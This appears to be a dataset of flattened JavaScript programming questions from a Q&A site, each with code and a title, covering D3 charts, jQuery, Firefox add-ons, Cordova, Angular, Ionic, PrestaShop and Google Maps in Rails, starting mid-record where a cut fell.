data.length ; i++ ) { var startRadius = ( width / 20 ) , endRadius = startRadius ; for ( var x = 0 ; x < 4 ; x++ ) { startRadArr.push ( startRadius ) ; if ( x == 0 ) { endRadius += Number ( data [ i ] .group1_score ) * ( width / 500 ) ; } else if ( x == 1 ) { endRadius += Number ( data [ i ] .group2_score ) * ( width / 500 ) ; } else if ( x == 2 ) { endRadius += Number ( data [ i ] .group3_score ) * ( width / 500 ) ; } else { endRadius += Number ( data [ i ] .group4_score ) * ( width / 500 ) ; } endRadArr.push ( endRadius ) ; startRadius = endRadius + 0.3 ; } } var startRadGroup = [ ] , endRadGroup = [ ] ; for ( i = 0 ; i < startRadArr.length ; i += 4 ) { startRadGroup.push ( startRadArr.slice ( i , i + 4 ) ) ; } for ( i = 0 ; i < endRadArr.length ; i += 4 ) { endRadGroup.push ( endRadArr.slice ( i , i + 4 ) ) ; } slice.selectAll ( 'path ' ) .remove ( ) ; for ( var x = 0 ; x < 4 ; x++ ) { slice.append ( 'path ' ) .attr ( { 'class ' : function ( d , i ) { if ( x == 0 ) { return d.group1_class ; } else if ( x == 1 ) { return d.group2_class ; } else if ( x == 2 ) { return d.group3_class ; } else { return d.group4_class ; } } , 'company ' : function ( d , i ) { return d.brand_name ; } , 'cat ' : function ( d , i ) { if ( x == 0 ) { return 'Group1 ' ; } else if ( x == 1 ) { return 'Group2 ' ; } else if ( x == 2 ) { return 'Group3 ' ; } else { return 'Group4 ' ; } } , 'study ' : function ( d , i ) { return d.study_name ; } , 'companyid ' : function ( d , i ) { return d.brand_id ; } , 'startradius ' : function ( d , i ) { return startRadGroup [ i ] [ x ] ; } , 'endradius ' : function ( d , i ) { return endRadGroup [ i ] [ x ] ; } , 'startangle ' : function ( d , i ) { return angleSize * i ; } , 'endangle ' : function ( d , i ) { return angleSize * ( i + 1 ) ; } } ) .on ( 'click ' , selectStudy ) ; } slice.exit ( ) .remove ( ) ; slice.selectAll ( 'path ' ) .attr ( { 'd ' : function ( d ) { return arc ( { innerRadius : +d3.select ( this ) [ 0 ] [ 0 ] .attributes.startradius.nodeValue , outerRadius : +d3.select ( this ) [ 0 ] [ 0 ] .attributes.endradius.nodeValue , startAngle : +d3.select ( this ) [ 0 ] [ 0 ] .attributes.startangle.nodeValue , endAngle : +d3.select ( this ) [ 0 ] [ 0 ] .attributes.endangle.nodeValue } ) } } ) ; } function selectStudy ( d ) { study = $ ( this ) .attr ( 'study ' ) ; updateChart ( study ) ; } updateChart ( ) ; }",D3 - Transition Arcs in Sunburst Chart "JS : I have one question about image grid system.I created this DEMO from codepen.ioIn this demo you can see : This DEMO is working fine but . My question is how can I use my grid system like in this css : I created second demo for this : second DEMO . In the second demo you can see the grid system not working like first DEMO.Also my jQuery code : Anyone can help me in this regard ? Thank you in advance for your answer . < div class= '' photo-row '' > < div class= '' photo-item '' > < ! -- Posted image here < img src= '' image/abc.jpg '' / > -- > < /div > < /div > < div class= '' photo '' > < div class= '' photo-row '' > < a href= '' # '' > < img src= '' abc.jpg '' / > < /a > < /div > < div class= '' photo-row '' > < a href= '' # '' > < img src= '' abc.jpg '' / > < /a > < /div > < /div > ( function ( $ , sr ) { var debounce = function ( func , threshold , execAsap ) { var timeout ; return function debounced ( ) { var obj = this , args = arguments ; function delayed ( ) { if ( ! execAsap ) func.apply ( obj , args ) ; timeout = null ; } ; if ( timeout ) clearTimeout ( timeout ) ; else if ( execAsap ) func.apply ( obj , args ) ; timeout = setTimeout ( delayed , threshold || 100 ) ; } ; } // smartresize jQuery.fn [ sr ] = function ( fn ) { return fn ? this.bind ( 'resize ' , debounce ( fn ) ) : this.trigger ( sr ) ; } ; } ) ( jQuery , 'smartresize ' ) ; /* Wait for DOM to be ready */ $ ( function ( ) { // Detect resize event $ ( window ) .smartresize ( function ( ) { // Set photo image size $ ( '.photo-row ' ) .each ( function ( ) { var $ pi = $ ( this ) .find ( '.photo-item ' ) , cWidth = $ ( this ) .parent ( '.photo ' ) .width ( ) ; // Generate array containing all image aspect ratios var ratios = $ pi.map ( function ( ) { return $ ( this ) .find ( 'img ' ) .data ( 'org-width ' ) / $ ( this ) .find ( 'img ' ) .data ( 'org-height ' ) ; } ) .get ( ) ; // Get sum of widths var sumRatios = 0 , sumMargins = 0 , minRatio = Math.min.apply ( Math , ratios ) ; for ( var i = 0 ; i < $ pi.length ; i++ ) { sumRatios += ratios [ i ] /minRatio ; } ; $ pi.each ( function ( ) { sumMargins += parseInt ( $ ( this ) .css ( 'margin-left ' ) ) + parseInt ( $ ( this ) .css ( 'margin-right ' ) ) ; } ) ; // Calculate dimensions $ pi.each ( function ( i ) { var minWidth = ( cWidth - sumMargins ) /sumRatios ; $ ( this ) .find ( 'img ' ) .height ( Math.floor ( minWidth/minRatio ) ) .width ( Math.floor ( minWidth/minRatio ) * ratios [ i ] ) ; } ) ; } ) ; } ) ; } ) ; /* Wait for images to be loaded */ $ ( window ) .load ( function ( ) { // Store original image dimensions $ ( '.photo-item img ' ) .each ( function ( ) { $ ( this ) .data ( 'org-width ' , $ ( this ) [ 0 ] .naturalWidth ) .data ( 'org-height ' , $ ( this ) [ 0 ] .naturalHeight ) ; } ) ; $ ( window ) .resize ( ) ; } ) ;",jQuery image Grid System "JS : I have a content script which times how long a user views a page . To do this , I inject a content script into each page , start a timer and then emit a message back to the add-on when the onbeforeunload event is triggered.The message never seems to get passed to the background script however.Given that my main.js looks like this : I can send a message to main.js using the following code no problem.I run into a problem when I try to do it as the user leaves the page however . The message is never received when I do it like this : I 've tried listening for beforeunload too , that does n't work either . What could be the problem ? var pageMod = require ( 'page-mod ' ) , self = require ( `` self '' ) ; pageMod.PageMod ( { include : `` http : //* '' , contentScriptFile : [ self.data.url ( 'jquery.min.js ' ) , self.data.url ( 'content.js ' ) ] , onAttach : function ( worker ) { worker.port.on ( 'pageView ' , function ( request ) { console.log ( `` Request received '' ) ; } ) ; } } ) ; self.port.emit ( 'pageView ' , { visitTime : time } ) ; $ ( window ) .bind ( 'onbeforeunload ' , function ( e ) { self.port.emit ( 'pageView ' , { visitTime : time } ) ; // This should prevent the user from seeing a dialog . return undefined ; } ) ;",Emit message to add-on from content script onbeforeunload ? "JS : I am working on a phonegap/cordova app which plays audio files stored locally.I am having issues with some code and android where example 1 does not play on android and example 2 does play.NOTE : The issues is not the path , I know that the path to the file is correct.Example 1 - Does not play on android but plays fine on IOS where the path is modified for IOS.Example 2 - This works on Android but it 's not the way I 'd like to go.The difference is mainly that Example 2 opens on a new window ? Why does Example 1 not play on Android when it plays fine on IOS ( Note : Paths are not the problem ) Any ideas ? var audiofile = cordova.file.dataDirectory+'android_asset/www/audio/1.aac ' ; ... $ ( `` .player '' ) .html ( ' < div class= '' audioDemo-wrapper '' > < audio class= '' audioDemo '' controls > < source src= '' '+audiofile+ ' '' type= '' audio/mpeg '' > < /audio > < div class= '' closeAudioBtn '' onclick= '' stopAndCloseAudio ( ) ; '' > X < /div > < /div > ' ) ; $ ( `` .audioDemo '' ) .trigger ( 'play ' ) ; var audiofile = cordova.file.dataDirectory+'android_asset/www/audio/1.aac ' ; window.open ( audiofile , '_blank ' , 'location=no , closebuttoncaption=Close ' ) ;",Phonegap / Cordova - Code not playing audio on android ( Not a path issue ) "JS : I recently converted some code that made use of regular objects as maps to the new es6 Map class . I encountered an issue pretty quickly as , while the Map class includes a forEach like Array , it does not include a some method along with many other Array.prototype methods.To give some context , the original code with regular JS objects looked something like this : The Map class does include an entries method but sadly this returns an Iterator object . This does n't include any easy way to access the Array.prototype methods either.I 'm curious if there 's a clean way to do this or if I 'm barking up the wrong tree . var map = { entry1 : 'test ' , entry2 : 'test2 ' } ; Object.keys ( map ) .some ( key = > { var value = map [ key ] ; // Do something ... found a match return true ; } ) ;",Better way to call ` Array.prototype.some ( ) ` on es6 Map JS : Twitter ’ s website does something liketo turn the browsers ’ built-in console.log method into a no-op . Is there I way to restore the original function ? console.log = function ( ) { } ;,How to restore console.log on a web page that overwrites it ? "JS : I 'm putting together a repo that will be available on npm . The repo consists of multiple modules , similar to react-leaflet and react-d3 . Application developers will include modules from within the npm package via require/import , e.g . : I need to package CSS along with each of these modules , and that CSS will be compiled from Sass files within each module.Given a folder structure for myNpmPackage like : What is a good publish flow to make those .scss files ( compiled into .css ) available to consumers of myNpmPackage , without requiring that consumers explicitly include / @ import / link rel= '' stylesheet '' the CSS ? I 'm using gulp and browserify and would prefer to stick with that pipeline.UPDATE : I 've found parcelify does some of what I need . I add the following to myNpmPackage/package.json : and add parcelify to dependencies , so that it 's installed along with myNpmPackage.Consumers of myNpmPackage must then add the following to their gulpfile : parcelify will use the `` style '' glob in myNpmPackage/package.json to round up all the .scss files in myNpmPackage 's modules and bundle them into ./build/modules.css.This is getting there , but not ideal for two reasons : The CSS files from each module are all included in the consumer application build , even if not all the modules are included ; This strategy requires the consumer application developer to add code to their gulpfile instead of `` just working '' . import { ModuleOne , ModuleTwo } from 'myNpmPackage ` ; ├── src│ ├── ModuleOne│ │ ├── index.js│ │ ├── style.scss│ ├── ModuleTwo│ │ ├── index.js│ │ ├── style.scss├── package.json `` style '' : `` src/**/*.scss '' , '' transforms '' : [ `` sass-css-stream '' ] parcelify ( b , { bundles : { style : './build/modules.css ' } } ) ;",Include CSS ( Sass ) from multiple modules "JS : I was reading this blog post which mentioned using : I have no idea what this does ? at first I thought it would give an error , but the code below does run : output : ! ! ~ var _sessions = [ `` _SID_1 '' , `` _SID_2 '' , `` _SID_3 '' , `` _SID_4 '' ] ; if ( ! ! ~_sessions.indexOf ( `` _SID_5 '' ) ) { console.log ( 'found ' ) ; } else { console.log ( ' ! found ' ) ; } node test.js ! found",What does ! ! ~ do ? "JS : I 'm trying to convert an old api that uses a lot of dot notation chaining which needs to be kept ie : I 'd like to add the functional style of composition in this example Ramda but lodash or others would be fine : My question is how can I do both chaining and composition in my function newSlice what would this function look like ? I have a little jsBin example . [ 1,2,3,4 ] .newSlice ( 1,2 ) .add ( 1 ) // [ 3 ] const sliceAddOne = R.compose ( add ( 1 ) , newSlice ( 1,2 ) ) sliceAddOne ( [ 1,2,3,4 ] ) // [ 3 ]",A function that can both compose and chain ( dot notation ) in Javascript "JS : I need to add a little horizontal line under each of the h1 - h6 elements on the site I am building . I am currently adding an after element : I also have a small jQuery function to make sure that the after element is always 20px below the element : this works if the h1 has text-align left - when the text wraps into 2 or more lines , the after element will show up under the first word of the last line.The problem is , if the text is center aligned , or right aligned , the after element will show up under the h1 element but not under the first word of the last line . Is this something that can be done with JS/JQuery ? Here is a pic of what happens . In the second example , I would like the yellow line to show up under the word `` Slice '' . h1 , h2 , h3 , h4 , h5 , h6 { text-transform : uppercase ; color : # 000 ; margin-top : 0 ; margin-bottom : 2rem ; font-weight : 800 ; color : # 333 ; display : inline-block ; position : relative ; text-rendering : optimizeLegibility ; font-family : $ altfont ; position : relative ; & : after { content : `` ; position : absolute ; bottom:0 ; left:0 ; width : 60px ; height : 4px ; background-color : $ yellow ; } } $ ( function ( ) { $ ( 'h1 , h2 , h3 , h4 , h5 , h6 ' ) .each ( function ( ) { x = parseInt ( $ ( this ) .css ( 'font-size ' ) ) ; $ ( this ) .css ( 'line-height ' , ( x + 20 ) + 'px ' ) ; } ) ; } ) ;","How to select a first word of the last line of text ? ( < h1 > - < h6 > , < p > elements )" "JS : So i just started learning javascript , I 'm in the functions module now and I was playing around with it and suddenly i ran into a doubt : why is this : different from this : ? You see , i have this code : and regardless of the `` talisa_age '' value i get the following output : however , if i chaged the nameAndAge 's validation tothe code works as intended ... if ( x==true ) { return 1 ; } if ( x ) { return 1 ; } function isAdult ( age ) { if ( age > = 18 ) { return true ; } return false ; } function nameAndAge ( string , boolean ) { if ( boolean == true ) { var my_string = string + `` is adult '' ; return my_string } var my_string = string + `` is under age '' ; return my_string } var talisa_age = 22 ; var talisa_name = `` Talisa Maegyr '' ; var status = isAdult ( talisa_age ) ; var str = nameAndAge ( talisa_name , status ) ; console.log ( str ) `` Talisa Maegyr is under age '' if ( boolean ) { var my_string = string + `` is adult '' ; return my_string }",Boolean condition is always false when using ` status == true ` "JS : I 've created this object which contains an array , which serves as a work queue.It kind of works like this : It works in that case and I can commit more than one task before I call the commit.However if it 's like this : Something may go wrong , because if the first commit is called after the second commit ( two works/tasks are already added ) , the first commit handler expects a result but they all go to the second commit handler.The task involves Web SQL database read and may also involves network access . So it 's basically a complicated procedure so the above described problem may surface . If only I can have a addWorkAndCommit ( ) implemented which wraps the add and commit together , but still there is no guarantee because addWorkAndCommit ( ) can not be `` atomic '' in a sense because they involves asynchronous calls . So even two calls to addWorkAndCommit ( ) may fail . ( I do n't know how to describe it other than by `` atomic '' , since JavaScript is single-threaded , but this issue crops up ) .What can I do ? var work1 = new Work ( ) ; var work2 = new Work ( ) ; var queue = Workqueue.instance ( ) ; queue.add ( work1 ) // Bluebird promise..then ( function addWork2 ( ) { return queue.add ( work2 ) ; } ) .then ( function toCommit ( ) { return queue.commit ( ) ; } ) .then ( function done ( results ) { // obtain results here . } ) .catch ( function ( err ) { } ) ; var work1 = new Work ( ) ; var work2 = new Work ( ) ; var queue = Workqueue.instance ( ) ; queue.add ( work1 ) .then ( function toCommit1 ( ) { return queue.commit ( ) ; } ) .then ( function done1 ( result1 ) { // obtain result1 here . } ) .catch ( function ( err ) { } ) ; queue.add ( work2 ) .then ( function toCommit2 ( ) { return queue.commit ( ) ; } ) .then ( function done2 ( result2 ) { // obtain result2 here . } ) .catch ( function ( err ) { } ) ;",JavaScript work queue "JS : I wondering if it is possible at runtime to break the link between the model and the view.In the following example , all the are link together ( through the text model ) . When I click the button I want to make angular to not update the last input any more ( for example to start some jquery effects ... ) .My real case is here : http : //jsfiddle.net/5JZPH/10/In the jsfiddle example I expect that the old values ( these that are fading ) do not change any more when I press the '+ ' button . < html ng-app > < head > < script src= '' angular-1.0.1.js '' > < /script > < /head > < body > < input ng-model= '' text '' / > < br/ > < input ng-model= '' text '' / > < br/ > < input ng-model= '' text '' / > < input type= '' button '' value= '' < - break ! '' ng-click= '' ? ? ? `` / > < br/ > < /body > < /html >",angularJS : how to break the link between the model and the view "JS : So I have a DatePicker that I can change a certain field with , but I want it to update the HTML only when the user confirms the change.However , currently , when I use the ( ionChange ) event in my ion-datetime element , it updates the UI automatically before my confirmation alert pops up . How can I make it so that the value in my date picker will only change when the user presses confirm ? updateStartTime ( startTime ) { let alert = this.alertControl.create ( { title : 'Change start time ' , message : 'Are you sure you want to update the start time for this event ? ' , buttons : [ { text : 'Cancel ' , handler : ( ) = > { console.log ( 'cancel ' ) ; } } , { text : 'Confirm ' , handler : ( ) = > { console.log ( startTime ) ; } } ] } ) ; alert.present ( ) ; } < ion-item detail-push > < ion-label > < b > Start : < /b > < /ion-label > < ion-datetime displayFormat= '' hh : mm A '' [ ( ngModel ) ] = '' item.EventStart '' ( ionChange ) = '' updateStartTime ( item.EventStart ) '' > < /ion-datetime > < /ion-item >",Confirm DatePicker time change "JS : I 'm new to Angular and I 'm going through the Intro to Angular videos from the Angular site . My code is n't working and I have no idea why not . I get the error Here 's my code.What am I doing wrong ? Error : ng : areqBad ArgumentArgument 'MainController ' is not a function , got undefined < ! DOCTYPE html > < html lang= '' en '' ng-app > < head > < meta charset= '' utf-8 '' > < meta name= '' viewport '' content= '' width=device-width , initial-scale=1.0 '' > < title > Angular Demo < /title > < /head > < body > < main ng-controller= '' MainController '' > < p > { { message } } < /p > < /main > < script src= '' https : //ajax.googleapis.com/ajax/libs/angularjs/1.4.5/angular.min.js '' > < /script > < script > function MainController ( $ scope ) { $ scope.message = `` Controller Example '' ; } < /script > < /body > < /html >",Angular.js Controller Not Working "JS : For the full story , check out my other question.Basically , I had asked if it were more efficient to use named functions in the socket handlers for the following code : The overall answer was yes ( see the above link for more details ) , but the following comment was posted by ThiefMaster : I 'm not familiar with V8 internals but it might be smart enough to compile the function once and re-use it everytime , just with a different scope attached.So now that 's my question . Is V8 smart enough to compile anonymous functions once and reuse them with different scopes in situations where anonymous functions ordinarily lead to several function instances being created ? For example , above I would expect the handler for the connection event to be created once but the handlers for action1 , action2 , and disconnect to be created for each connection . In the other question this was solved with named functions but I am more interested if this is necessary in V8 or if it will do some optimizations . var app = require ( 'express ' ) .createServer ( ) var io = require ( 'socket.io ' ) .listen ( app ) ; app.listen ( 8080 ) ; // Some unrelated stuffio.sockets.on ( 'connection ' , function ( socket ) { socket.on ( 'action1 ' , function ( data ) { // logic for action1 } ) ; socket.on ( 'action2 ' , function ( data ) { // logic for action2 } ) ; socket.on ( 'disconnect ' , function ( ) { // logic for disconnect } ) ; } ) ;",V8 Internals - Handling of Anonymous Functions "JS : I have an array of objects that has information of nested data , and I want to convert the data to actual nested array data.How can I convert this : to this : What is the best way to do this ? const data = [ { id : 1 , parent_id : null , name : 'test1 ' } , { id : 2 , parent_id : null , name : 'test2 ' } , { id : 3 , parent_id : 2 , name : 'test3 ' } , { id : 4 , parent_id : 2 , name : 'test4 ' } , { id : 5 , parent_id : 4 , name : 'test5 ' } , { id : 6 , parent_id : 4 , name : 'test5 ' } , { id : 7 , parent_id : 2 , name : 'test5 ' } , { id : 8 , parent_id : 2 , name : 'test5 ' } , { id : 9 , parent_id : null , name : 'test5 ' } , { id : 10 , parent_id : null , name : 'test5 ' } , ] const data = [ { id : 1 , parent_id : null , name : 'test1 ' } , { id : 2 , parent_id : null , name : 'test2 ' , children : [ { id : 3 , parent_id : 2 , name : 'test3 ' } , { id : 4 , parent_id : 2 , name : 'test4 ' , children : [ { id : 5 , parent_id : 4 , name : 'test5 ' } , { id : 6 , parent_id : 4 , name : 'test5 ' } ] } , { id : 7 , parent_id : 2 , name : 'test5 ' } , { id : 8 , parent_id : 2 , name : 'test5 ' } , ] } , { id : 9 , parent_id : null , name : 'test5 ' } , { id : 10 , parent_id : null , name : 'test5 ' } , ]",Create nested array data from an array of objects "JS : This code snippet worked in 1.7.2 with both success/error callbacks as well as promises style callbacks . With 1.8.2 the success/error callbacks still work but the promises do not . My hunch is that the return dfd.promise ( jqXHR ) ; line is the problem but im not certain.Update : Here is my ajax request that fails : $ .ajaxPrefilter ( function ( options , originalOptions , jqXHR ) { // Do n't infinitely recurse originalOptions._retry = isNaN ( originalOptions._retry ) ? Common.auth.maxExpiredAuthorizationRetries : originalOptions._retry - 1 ; // set up to date authorization header with every request jqXHR.setRequestHeader ( `` Authorization '' , Common.auth.getAuthorizationHeader ( ) ) ; // save the original error callback for later if ( originalOptions.error ) originalOptions._error = originalOptions.error ; // overwrite *current request* error callback options.error = $ .noop ( ) ; // setup our own deferred object to also support promises that are only invoked // once all of the retry attempts have been exhausted var dfd = $ .Deferred ( ) ; jqXHR.done ( dfd.resolve ) ; // if the request fails , do something else yet still resolve jqXHR.fail ( function ( ) { var args = Array.prototype.slice.call ( arguments ) ; if ( jqXHR.status === 401 & & originalOptions._retry > 0 ) { // refresh the oauth credentials for the next attempt ( s ) // ( will be stored and returned by Common.auth.getAuthorizationHeader ( ) ) Common.auth.handleUnauthorized ( ) ; // retry with our modified $ .ajax ( originalOptions ) .then ( dfd.resolve , dfd.reject ) ; } else { // add our _error callback to our promise object if ( originalOptions._error ) dfd.fail ( originalOptions._error ) ; dfd.rejectWith ( jqXHR , args ) ; } } ) ; // NOW override the jqXHR 's promise functions with our deferred return dfd.promise ( jqXHR ) ; } ) ; $ .ajax ( { url : someFunctionToGetUrl ( ) , // works //success : callback , //error : ajaxErrorHandler } ) .then ( [ callback ] , [ errorback , ajaxErrorHandler ] ) ; } ;",My promises no longer working in jQuery 1.8 JS : Is there a reason why I should call a JavaScript method as follows ? Or can I just call it like this : Is there any difference ? onClick= '' Javascript : MyMethod ( ) ; '' onClick= '' MyMethod ( ) ; '',Proper way of calling a JavaScript method "JS : So , I was thinking how arrays are stored in memory in JavaScript.I already read How are JavaScript arrays represented in physical memory ? , but I could n't find my answer.What I 'm thinking is more about the memory location of the array units . In C for example , you need to define the size of the array when you define them . With this , C defines a whole block of memory , and it can look the exact location of each unit.For example : In JS , you can grow the size of an array after allocating memory to other stuff , which means JS does n't work with the `` block '' type of array.But if arrays are not a single block of memory , how does JS calculate where each unit is ? Do JS arrays follows a linked list type of structure ? int array [ 10 ] ; // C knows the memory location of the 1st item of the arrayarray [ 3 ] = 1 // C can do that , because it can calculate the location // of array [ 3 ] by doing & array + 3 * ( int size )",How are JavaScript arrays stored in memory "JS : AboutI 'm working on a Firefox Add-on using the Firefox Add-on SDK . The add-on will be site specific and it will hide certain elements based on user preferences . I already made this add-on a few years back , but with the new SDK things work a bit different.CodeBecause the add-on is site specific and I need to modify the content of the site I use the 'PageMod ' module [ main.js ] This works great , jQuery is implemented and I can add and run javascript from script.jsI have declared the preferences in 'package.json ' and this works great . I can access this from 'main.js'ProblemMy problem is that the ContentScript does n't have access to the user preferences.How can I gain access to the current preferences in my ContentScript 'script.js ' ? Tried attemptsAttempt 1First thing I tried was just to request the preference from the ContentScriptAttempt 2I read in the documentation that some read only parameters can be send with the ContentScript . This seemed to work , but when I changed my preferences the values were already set . Only if I would restart the browser the correct setting would be passed . pageMod.PageMod ( { include : `` *.ipvisie.com '' , contentScriptFile : [ data.url ( 'jquery-1.11.1.min.js ' ) , data.url ( 'script.js ' ) ] } ) ; if ( require ( 'sdk/simple-prefs ' ) .prefs [ 'somePreference ' ] == true ) { alert ( 'Pref checked ' ) ; } contentScriptOptions : { advertLink : require ( 'sdk/simple-prefs ' ) .prefs [ 'advertTop ' ] , advertDay : require ( 'sdk/simple-prefs ' ) .prefs [ 'advertDay ' ] , advertAdmart : require ( 'sdk/simple-prefs ' ) .prefs [ 'advertAdmart ' ] , advertLink : require ( 'sdk/simple-prefs ' ) .prefs [ 'advertLink ' ] }",Firefox SDK access preferences from content script JS : With the example CSS : and HTML : is it possible to detect that the height of .thing is set to 'auto ' ? The following methods return values : Is there any method that will tell me that the browser is calculating these values from 'auto ' ? .thing { height : auto } < div class= '' thing '' > The quick brown fox jumps over a lazy dog. < /div > jQuery ( '.thing ' ) .height ( ) // njQuery ( '.thing ' ) .css ( 'height ' ) // 'npx'getComputedStyle ( node ) .height // 'npx ',Can you detect when a dom node 's style is set to 'auto ' ? "JS : I am developing a custom payment module in PrestaShop 1.6 . My front controller path is : mymodule/controllers/front/payment.phppayment.php contains : My template file path is : mymodule/views/templates/front/payment.tplpayment.tpl contains : The problem is that in my localhost it is working fine . I get the data-complete URL in the script tag . But when I install the module in my test server I do not get the data-complete URL.Any help or suggestion will be appreciated.Thanks in advance.UPDATEI have found that the problem is `` https '' in the `` src '' of the script tag . I can not understand why data-complete vanishes if the src URL begins with https . Without https it is okay.When I view the source in the browser for the following code with https in src , I get : The data-complete attribute vanishes . But when I view the source of the script with src without `` https '' I get the data-complete attribute.I could not find the reason . ORI can add javascript in the payment.php controller using : But I do not know how to pass data attributes in the addJS function . $ this- > context- > smarty- > assign ( array ( 'dataCompleteURL ' = > Tools : :getShopDomainSsl ( true , true ) . __PS_BASE_URI__ . 'index.php ? fc=module & module=mymodule & controller=callback & cart='. $ cartID ) ) ; $ this- > setTemplate ( 'payment.tpl ' ) ; < script src= '' http : //easternbank.test.gateway.com/checkout.js '' data-complete= '' { $ dataCompleteURL } '' type= '' text/javascript '' > < /script > < script src= '' http : //easternbank.test.gateway.com/checkout.js '' data-complete= '' { $ dataCompleteURL } '' type= '' text/javascript '' > < /script > $ this- > context- > controller- > addJS ( ( $ this- > _path ) . 'js/checkout.js ' ) ;",Can not add data attributes in script tag in PrestaShop 1.6 "JS : I use the following function to create instances of functions in JavaScript from an array of arguments : Using the above function you can create instances as follows ( see the fiddle ) : The above code works for user built constructors like F. However it does n't work for native constructors like Array for obvious security reasons . You may always create an array and then change its __proto__ property but I am using this code in Rhino so it wo n't work there . Is there any other way to achieve the same result in JavaScript ? var instantiate = function ( instantiate ) { return function ( constructor , args , prototype ) { `` use strict '' ; if ( prototype ) { var proto = constructor.prototype ; constructor.prototype = prototype ; } var instance = instantiate ( constructor , args ) ; if ( proto ) constructor.prototype = proto ; return instance ; } ; } ( Function.prototype.apply.bind ( function ( ) { var args = Array.prototype.slice.call ( arguments ) ; var constructor = Function.prototype.bind.apply ( this , [ null ] .concat ( args ) ) ; return new constructor ; } ) ) ; var f = instantiate ( F , [ ] , G.prototype ) ; alert ( f instanceof F ) ; // falsealert ( f instanceof G ) ; // truef.alert ( ) ; // Ffunction F ( ) { this.alert = function ( ) { alert ( `` F '' ) ; } ; } function G ( ) { this.alert = function ( ) { alert ( `` G '' ) ; } ; }",Instantiate JavaScript functions with custom prototypes "JS : I have a HTML list of about 500 items and a `` filter '' box above it . I started by using jQuery to filter the list when I typed a letter ( timing code added later ) : However , there was a couple of seconds delay after typing each letter ( particularly the first letter ) . So I thought it may be slightly quicker if I used plain Javascript ( I read recently that jQuery 's each function is particularly slow ) . Here 's my JS equivalent : To my surprise however , the plain Javascript is up to 10 times slower than the jQuery equivalent . The jQuery version takes around 2-3 seconds to filter on each letter , while the Javascript version takes 17+ seconds ! I 'm using Google Chrome on Ubuntu Linux.This is n't for anything really important so it does n't need to be super efficient . But am I doing something really dumb with my Javascript here ? $ ( ' # filter ' ) .keyup ( function ( ) { var jqStart = ( new Date ) .getTime ( ) ; var search = $ ( this ) .val ( ) .toLowerCase ( ) ; var $ list = $ ( 'ul.ablist > li ' ) ; $ list.each ( function ( ) { if ( $ ( this ) .text ( ) .toLowerCase ( ) .indexOf ( search ) === -1 ) $ ( this ) .hide ( ) ; else $ ( this ) .show ( ) ; } ) ; console.log ( 'Time : ' + ( ( new Date ) .getTime ( ) - jqStart ) ) ; } ) ; document.getElementById ( 'filter ' ) .addEventListener ( 'keyup ' , function ( ) { var jsStart = ( new Date ) .getTime ( ) ; var search = this.value.toLowerCase ( ) ; var list = document.querySelectorAll ( 'ul.ablist > li ' ) ; for ( var i = 0 ; i < list.length ; i++ ) { if ( list [ i ] .innerText.toLowerCase ( ) .indexOf ( search ) === -1 ) list [ i ] .style.display = 'none ' ; else list [ i ] .style.display = 'block ' ; } console.log ( 'Time : ' + ( ( new Date ) .getTime ( ) - jsStart ) ) ; } , false ) ;",Why is this Javascript much *slower* than its jQuery equivalent ? "JS : Microsoft allows to set environment variables in JScript with the following syntax : I wonder about the third line - and with me JSLint , which calls this line a `` Bad Assigment '' .But it works ! Is it ECMAscript standard compatible to have a function 's return value as an lvalue ( like here ) ? If yes : How would one write such a function ? var sh = WScript.CreateObject ( `` Wscript.Shell '' ) ; var env = sh.Environment ( `` PROCESS '' ) ; env ( `` TEST '' ) = `` testvalue '' ;",Can a function 's return value be an lvalue in JavaScript ? "JS : I am developing a web app in Rails . When I open a marker , a modal pops up with a street view in a box . I can open one or two markers , but after that I get an error that WebGL has hit a snag . I have tried to look online for resources but nothing makes sense . See below pics for more info . Any help would be greatly appreciated.First image with errorHere is an image of what my console log looks like : Here is my JavaScript code in my webapp.This was the original code to get the modal to pop up with the information I needed . In order to add the street view inside of the modal the following code was added : In order to pass the current lat and long into the street view , I had to put it inside of the same function that the modal is being called on.UPDATEI can not figure how to set var sv = new google.maps.StreetViewPanorama ( div ) ; so it is set once and the same map reused for each instance of the modal that is called rather than trying to start and restart a new instance.Update 2I can not figure out how to initially initialize this part : So when I open a modal it does not render a new map it just reuses the same map . I am inclined to write another function but I need some guidance , please.UPDATE 3Something else I have noticed is that when I click on one marker it will show the street view filling its square in the modal . When I click on another one sometimes it wo n't show at all but in most cases , it shows but very tiny in the corner as in this image : I also noticed that the code for class widget-scene-canvas which comes from Google Maps keeps altering itself from what I originally had it be through my own id styling when I click on more than the first map at separate times . < script type= '' text/javascript '' > var handler = Gmaps.build ( 'Google ' , { markers : { clusterer : { gridSize : 60 , maxZoom : 20 , styles : [ { textSize : 10 , textColor : ' # ff0000 ' , url : 'assets/creative/m1.png ' , height : 60 , width : 60 , } , { textSize : 14 , textColor : ' # ffff00 ' , url : 'assets/creative/m2.png ' , height : 60 , width : 60 , } , { textSize : 18 , textColor : ' # 0000ff ' , url : 'assets/creative/m3.png ' , width : 60 , height : 60 , } , ] , } , } , } ) ; var handler2 = Gmaps.build ( 'Google ' ) ; var current ; function initialize ( ) { handler.buildMap ( { internal : { id : 'map ' } } , function ( ) { markers_json = < % = raw @ hash.to_json % > ; markers = _.map ( markers_json , function ( marker_json ) { marker = handler.addMarker ( marker_json ) ; handler.fitMapToBounds ( ) ; _.extend ( marker , marker_json ) ; return marker ; } ) ; getLocation ( ) ; markers.map ( function ( elem , index ) { google.maps.event.addListener ( elem.getServiceObject ( ) , 'click ' , function ( evt ) { var id = elem.id , number = elem.number , name = elem.name , zipcode = elem.zipcode , tabid = elem.tabid , latitude = elem.latitude , longitude = elem.longitude ; $ ( '.name ' ) .html ( ' < h3 class=\'panel-title\ ' > < i class=\'fa fa-id-card\ ' > < /i > ' + number + ' < /h3 > ' ) ; $ ( '.paneltb ' ) .html ( ' < thead > < tr > < th > Panel < /th > < th > Location < /th > < th > Tab ID < /th > < th > Zip Code < /th > < th > Latitude < /th > < th > Longitude < /th > < /tr > < /thead > < tbody > < tr > < td > ' + number + ' < /td > < td > ' + name + ' < /td > < td > ' + tabid + ' < /td > < td > ' + zipcode + ' < /td > < td > ' + latitude + ' < /td > < td > ' + longitude + ' < /td > < /tr > < /tbody > ' ) ; pos = new google.maps.LatLng ( latitude , longitude ) ; var div = document.getElementById ( 'map2 ' ) ; var sv = new google.maps.StreetViewPanorama ( div ) ; sv.setPosition ( pos ) ; sv.setVisible ( true ) ; // find the heading by looking from the google car pos to the venue pos var service = new google.maps.StreetViewService ( ) ; service.getPanoramaByLocation ( pos , 50 , function ( result , status ) { if ( status == google.maps.StreetViewStatus.OK ) { carPos = result.location.latLng ; heading = 